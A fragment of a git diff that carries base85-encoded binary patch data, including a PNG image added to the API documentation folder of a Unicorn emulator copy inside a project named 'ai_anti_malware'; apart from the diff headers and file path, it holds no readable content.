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 literal 0 HcmV?d00001 diff --git a/ai_anti_malware/unicorn/unicorn-master/docs/Micro Unicorn-Engine API Documentation/API_Doc_Pic/OVaHwelNQ4tcLmo.png b/ai_anti_malware/unicorn/unicorn-master/docs/Micro Unicorn-Engine API Documentation/API_Doc_Pic/OVaHwelNQ4tcLmo.png new file mode 100644 index 0000000000000000000000000000000000000000..05bd9d8bf11c3bb8afa298f7cfb9cea373dd2387 GIT binary patch literal 34594 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 